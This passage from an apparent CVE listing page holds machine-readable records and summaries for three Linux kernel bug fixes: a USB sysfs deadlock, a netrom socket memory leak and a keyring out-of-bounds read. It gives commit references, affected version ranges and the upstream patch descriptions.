            "url": "https://git.kernel.org/stable/c/8cbdd324b41528994027128207fae8100dff094f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/12d6a5681a0a5cecc2af7860f0a1613fa7c6e947"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e451709573f8be904a8a72d0775bf114d7c291d9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1b175bc579f46520b11ecda443bcd2ee4904f66a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ab062fa3dc69aea88fe62162c5881ba14b50ecc5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/122a06f1068bf5e39089863f4f60b1f5d4273384"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dbdf66250d2d33e8b27352fcb901de79f3521057"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/07acf979da33c721357ff27129edf74c23c036c6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/80ba43e9f799cbdd83842fc27db667289b3150f5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:42.881Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/core/sysfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8cbdd324b41528994027128207fae8100dff094f",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "12d6a5681a0a5cecc2af7860f0a1613fa7c6e947",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "e451709573f8be904a8a72d0775bf114d7c291d9",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "1b175bc579f46520b11ecda443bcd2ee4904f66a",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "ab062fa3dc69aea88fe62162c5881ba14b50ecc5",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "122a06f1068bf5e39089863f4f60b1f5d4273384",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "dbdf66250d2d33e8b27352fcb901de79f3521057",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "07acf979da33c721357ff27129edf74c23c036c6",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            },
            {
              "lessThan": "80ba43e9f799cbdd83842fc27db667289b3150f5",
              "status": "affected",
              "version": "310d2b4124c073a2057ef9d952d4d938e9b1dfd9",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/core/sysfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.4"
            },
            {
              "lessThan": "4.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: core: Fix deadlock in usb_deauthorize_interface()\n\nAmong the attribute file callback routines in\ndrivers/usb/core/sysfs.c, the interface_authorized_store() function is\nthe only one which acquires a device lock on an ancestor device: It\ncalls usb_deauthorize_interface(), which locks the interface\u0027s parent\nUSB device.\n\nThe will lead to deadlock if another process already owns that lock\nand tries to remove the interface, whether through a configuration\nchange or because the device has been disconnected.  As part of the\nremoval procedure, device_del() waits for all ongoing sysfs attribute\ncallbacks to complete.  But usb_deauthorize_interface() can\u0027t complete\nuntil the device lock has been released, and the lock won\u0027t be\nreleased until the removal has finished.\n\nThe mechanism provided by sysfs to prevent this kind of deadlock is\nto use the sysfs_break_active_protection() function, which tells sysfs\nnot to wait for the attribute callback.\n\nReported-and-tested by: Yue Sun \u003csamsun1006219@gmail.com\u003e\nReported by: xingwei lee \u003cxrivendell7@gmail.com\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:11.924Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8cbdd324b41528994027128207fae8100dff094f"
        },
        {
          "url": "https://git.kernel.org/stable/c/12d6a5681a0a5cecc2af7860f0a1613fa7c6e947"
        },
        {
          "url": "https://git.kernel.org/stable/c/e451709573f8be904a8a72d0775bf114d7c291d9"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b175bc579f46520b11ecda443bcd2ee4904f66a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ab062fa3dc69aea88fe62162c5881ba14b50ecc5"
        },
        {
          "url": "https://git.kernel.org/stable/c/122a06f1068bf5e39089863f4f60b1f5d4273384"
        },
        {
          "url": "https://git.kernel.org/stable/c/dbdf66250d2d33e8b27352fcb901de79f3521057"
        },
        {
          "url": "https://git.kernel.org/stable/c/07acf979da33c721357ff27129edf74c23c036c6"
        },
        {
          "url": "https://git.kernel.org/stable/c/80ba43e9f799cbdd83842fc27db667289b3150f5"
        }
      ],
      "title": "USB: core: Fix deadlock in usb_deauthorize_interface()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26934",
    "datePublished": "2024-05-01T05:17:27.352Z",
    "dateReserved": "2024-02-19T14:20:24.196Z",
    "dateUpdated": "2026-05-12T11:50:42.881Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-41006 (GCVE-0-2024-41006)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:44 – Updated: 2026-05-12 11:56

Title

netrom: Fix a memory leak in nr_heartbeat_expiry()

Summary

In the Linux kernel, the following vulnerability has been resolved: netrom: Fix a memory leak in nr_heartbeat_expiry() syzbot reported a memory leak in nr_create() [0]. Commit 409db27e3a2e ("netrom: Fix use-after-free of a listening socket.") added sock_hold() to the nr_heartbeat_expiry() function, where a) a socket has a SOCK_DESTROY flag or b) a listening socket has a SOCK_DEAD flag. But in the case "a," when the SOCK_DESTROY flag is set, the file descriptor has already been closed and the nr_release() function has been called. So it makes no sense to hold the reference count because no one will call another nr_destroy_socket() and put it as in the case "b." nr_connect nr_establish_data_link nr_start_heartbeat nr_release switch (nr->state) case NR_STATE_3 nr->state = NR_STATE_2 sock_set_flag(sk, SOCK_DESTROY); nr_rx_frame nr_process_rx_frame switch (nr->state) case NR_STATE_2 nr_state2_machine() nr_disconnect() nr_sk(sk)->state = NR_STATE_0 sock_set_flag(sk, SOCK_DEAD) nr_heartbeat_expiry switch (nr->state) case NR_STATE_0 if (sock_flag(sk, SOCK_DESTROY) || (sk->sk_state == TCP_LISTEN && sock_flag(sk, SOCK_DEAD))) sock_hold() // ( !!! ) nr_destroy_socket() To fix the memory leak, let's call sock_hold() only for a listening socket. Found by InfoTeCS on behalf of Linux Verification Center (linuxtesting.org) with Syzkaller. [0]: https://syzkaller.appspot.com/bug?extid=d327a1f3b12e1e206c16

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d616876256b38ecf9…
https://git.kernel.org/stable/c/e07a9c2a850cdebf6…
https://git.kernel.org/stable/c/5391f9db2cab5ef1c…
https://git.kernel.org/stable/c/280cf1173726a7059…
https://git.kernel.org/stable/c/a02fd5d775cf9787e…
https://git.kernel.org/stable/c/b6ebe4fed73eedeb7…
https://git.kernel.org/stable/c/d377f5a28332954b1…
https://git.kernel.org/stable/c/0b9130247f3b6a112…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a31caf5779ace8fa98b0d454133808e082ee7a1b , < d616876256b38ecf9a1a1c7d674192c5346bc69c (git) Affected: fe9b9e621cebe6b7e83f7e954c70f8bb430520e5 , < e07a9c2a850cdebf625e7a1b8171bd23a8554313 (git) Affected: 7de16d75b20ab13b75a7291f449a1b00090edfea , < 5391f9db2cab5ef1cb411be1ab7dbec728078fba (git) Affected: d2d3ab1b1de3302de2c85769121fd4f890e47ceb , < 280cf1173726a7059b628c610c71050d5c0b6937 (git) Affected: 51e394c6f81adbfe7c34d15f58b3d4d44f144acf , < a02fd5d775cf9787ee7698c797e20f2fa13d2e2b (git) Affected: 409db27e3a2eb5e8ef7226ca33be33361b3ed1c9 , < b6ebe4fed73eedeb73f4540f8edc4871945474c8 (git) Affected: 409db27e3a2eb5e8ef7226ca33be33361b3ed1c9 , < d377f5a28332954b19e373d36823e59830ab1712 (git) Affected: 409db27e3a2eb5e8ef7226ca33be33361b3ed1c9 , < 0b9130247f3b6a1122478471ff0e014ea96bb735 (git) Affected: e666990abb2e42dd4ba979b4706280a3664cfae7 (git)
Linux	Linux	Affected: 6.2 Unaffected: 0 , < 6.2 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:59:10.100Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d616876256b38ecf9a1a1c7d674192c5346bc69c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e07a9c2a850cdebf625e7a1b8171bd23a8554313"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5391f9db2cab5ef1cb411be1ab7dbec728078fba"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/280cf1173726a7059b628c610c71050d5c0b6937"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a02fd5d775cf9787ee7698c797e20f2fa13d2e2b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b6ebe4fed73eedeb73f4540f8edc4871945474c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d377f5a28332954b19e373d36823e59830ab1712"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0b9130247f3b6a1122478471ff0e014ea96bb735"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-41006",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:00:58.734577Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:18.546Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:12.670Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netrom/nr_timer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d616876256b38ecf9a1a1c7d674192c5346bc69c",
              "status": "affected",
              "version": "a31caf5779ace8fa98b0d454133808e082ee7a1b",
              "versionType": "git"
            },
            {
              "lessThan": "e07a9c2a850cdebf625e7a1b8171bd23a8554313",
              "status": "affected",
              "version": "fe9b9e621cebe6b7e83f7e954c70f8bb430520e5",
              "versionType": "git"
            },
            {
              "lessThan": "5391f9db2cab5ef1cb411be1ab7dbec728078fba",
              "status": "affected",
              "version": "7de16d75b20ab13b75a7291f449a1b00090edfea",
              "versionType": "git"
            },
            {
              "lessThan": "280cf1173726a7059b628c610c71050d5c0b6937",
              "status": "affected",
              "version": "d2d3ab1b1de3302de2c85769121fd4f890e47ceb",
              "versionType": "git"
            },
            {
              "lessThan": "a02fd5d775cf9787ee7698c797e20f2fa13d2e2b",
              "status": "affected",
              "version": "51e394c6f81adbfe7c34d15f58b3d4d44f144acf",
              "versionType": "git"
            },
            {
              "lessThan": "b6ebe4fed73eedeb73f4540f8edc4871945474c8",
              "status": "affected",
              "version": "409db27e3a2eb5e8ef7226ca33be33361b3ed1c9",
              "versionType": "git"
            },
            {
              "lessThan": "d377f5a28332954b19e373d36823e59830ab1712",
              "status": "affected",
              "version": "409db27e3a2eb5e8ef7226ca33be33361b3ed1c9",
              "versionType": "git"
            },
            {
              "lessThan": "0b9130247f3b6a1122478471ff0e014ea96bb735",
              "status": "affected",
              "version": "409db27e3a2eb5e8ef7226ca33be33361b3ed1c9",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e666990abb2e42dd4ba979b4706280a3664cfae7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netrom/nr_timer.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.2"
            },
            {
              "lessThan": "6.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "4.19.272",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.4.231",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.10.166",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.15.91",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "6.1.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "6.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "6.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.305",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetrom: Fix a memory leak in nr_heartbeat_expiry()\n\nsyzbot reported a memory leak in nr_create() [0].\n\nCommit 409db27e3a2e (\"netrom: Fix use-after-free of a listening socket.\")\nadded sock_hold() to the nr_heartbeat_expiry() function, where\na) a socket has a SOCK_DESTROY flag or\nb) a listening socket has a SOCK_DEAD flag.\n\nBut in the case \"a,\" when the SOCK_DESTROY flag is set, the file descriptor\nhas already been closed and the nr_release() function has been called.\nSo it makes no sense to hold the reference count because no one will\ncall another nr_destroy_socket() and put it as in the case \"b.\"\n\nnr_connect\n  nr_establish_data_link\n    nr_start_heartbeat\n\nnr_release\n  switch (nr-\u003estate)\n  case NR_STATE_3\n    nr-\u003estate = NR_STATE_2\n    sock_set_flag(sk, SOCK_DESTROY);\n\n                        nr_rx_frame\n                          nr_process_rx_frame\n                            switch (nr-\u003estate)\n                            case NR_STATE_2\n                              nr_state2_machine()\n                                nr_disconnect()\n                                  nr_sk(sk)-\u003estate = NR_STATE_0\n                                  sock_set_flag(sk, SOCK_DEAD)\n\n                        nr_heartbeat_expiry\n                          switch (nr-\u003estate)\n                          case NR_STATE_0\n                            if (sock_flag(sk, SOCK_DESTROY) ||\n                               (sk-\u003esk_state == TCP_LISTEN\n                                 \u0026\u0026 sock_flag(sk, SOCK_DEAD)))\n                               sock_hold()  // ( !!! )\n                               nr_destroy_socket()\n\nTo fix the memory leak, let\u0027s call sock_hold() only for a listening socket.\n\nFound by InfoTeCS on behalf of Linux Verification Center\n(linuxtesting.org) with Syzkaller.\n\n[0]: https://syzkaller.appspot.com/bug?extid=d327a1f3b12e1e206c16"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:24:12.479Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d616876256b38ecf9a1a1c7d674192c5346bc69c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e07a9c2a850cdebf625e7a1b8171bd23a8554313"
        },
        {
          "url": "https://git.kernel.org/stable/c/5391f9db2cab5ef1cb411be1ab7dbec728078fba"
        },
        {
          "url": "https://git.kernel.org/stable/c/280cf1173726a7059b628c610c71050d5c0b6937"
        },
        {
          "url": "https://git.kernel.org/stable/c/a02fd5d775cf9787ee7698c797e20f2fa13d2e2b"
        },
        {
          "url": "https://git.kernel.org/stable/c/b6ebe4fed73eedeb73f4540f8edc4871945474c8"
        },
        {
          "url": "https://git.kernel.org/stable/c/d377f5a28332954b19e373d36823e59830ab1712"
        },
        {
          "url": "https://git.kernel.org/stable/c/0b9130247f3b6a1122478471ff0e014ea96bb735"
        }
      ],
      "title": "netrom: Fix a memory leak in nr_heartbeat_expiry()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-41006",
    "datePublished": "2024-07-12T12:44:41.176Z",
    "dateReserved": "2024-07-12T12:17:45.610Z",
    "dateUpdated": "2026-05-12T11:56:12.670Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50301 (GCVE-0-2024-50301)

Vulnerability from cvelistv5 – Published: 2024-11-19 01:30 – Updated: 2026-05-12 12:00

Title

security/keys: fix slab-out-of-bounds in key_task_permission

Summary

In the Linux kernel, the following vulnerability has been resolved: security/keys: fix slab-out-of-bounds in key_task_permission KASAN reports an out of bounds read: BUG: KASAN: slab-out-of-bounds in __kuid_val include/linux/uidgid.h:36 BUG: KASAN: slab-out-of-bounds in uid_eq include/linux/uidgid.h:63 [inline] BUG: KASAN: slab-out-of-bounds in key_task_permission+0x394/0x410 security/keys/permission.c:54 Read of size 4 at addr ffff88813c3ab618 by task stress-ng/4362 CPU: 2 PID: 4362 Comm: stress-ng Not tainted 5.10.0-14930-gafbffd6c3ede #15 Call Trace: __dump_stack lib/dump_stack.c:82 [inline] dump_stack+0x107/0x167 lib/dump_stack.c:123 print_address_description.constprop.0+0x19/0x170 mm/kasan/report.c:400 __kasan_report.cold+0x6c/0x84 mm/kasan/report.c:560 kasan_report+0x3a/0x50 mm/kasan/report.c:585 __kuid_val include/linux/uidgid.h:36 [inline] uid_eq include/linux/uidgid.h:63 [inline] key_task_permission+0x394/0x410 security/keys/permission.c:54 search_nested_keyrings+0x90e/0xe90 security/keys/keyring.c:793 This issue was also reported by syzbot. It can be reproduced by following these steps(more details [1]): 1. Obtain more than 32 inputs that have similar hashes, which ends with the pattern '0xxxxxxxe6'. 2. Reboot and add the keys obtained in step 1. The reproducer demonstrates how this issue happened: 1. In the search_nested_keyrings function, when it iterates through the slots in a node(below tag ascend_to_node), if the slot pointer is meta and node->back_pointer != NULL(it means a root), it will proceed to descend_to_node. However, there is an exception. If node is the root, and one of the slots points to a shortcut, it will be treated as a keyring. 2. Whether the ptr is keyring decided by keyring_ptr_is_keyring function. However, KEYRING_PTR_SUBTYPE is 0x2UL, the same as ASSOC_ARRAY_PTR_SUBTYPE_MASK. 3. When 32 keys with the similar hashes are added to the tree, the ROOT has keys with hashes that are not similar (e.g. slot 0) and it splits NODE A without using a shortcut. When NODE A is filled with keys that all hashes are xxe6, the keys are similar, NODE A will split with a shortcut. Finally, it forms the tree as shown below, where slot 6 points to a shortcut. NODE A +------>+---+ ROOT | | 0 | xxe6 +---+ | +---+ xxxx | 0 | shortcut : : xxe6 +---+ | +---+ xxe6 : : | | | xxe6 +---+ | +---+ | 6 |---+ : : xxe6 +---+ +---+ xxe6 : : | f | xxe6 +---+ +---+ xxe6 | f | +---+ 4. As mentioned above, If a slot(slot 6) of the root points to a shortcut, it may be mistakenly transferred to a key*, leading to a read out-of-bounds read. To fix this issue, one should jump to descend_to_node if the ptr is a shortcut, regardless of whether the node is root or not. [1] https://lore.kernel.org/linux-kernel/1cfa878e-8c7b-4570-8606-21daf5e13ce7@huaweicloud.com/ [jarkko: tweaked the commit message a bit to have an appropriate closes tag.]

Severity ?

7.1 (High)


                        
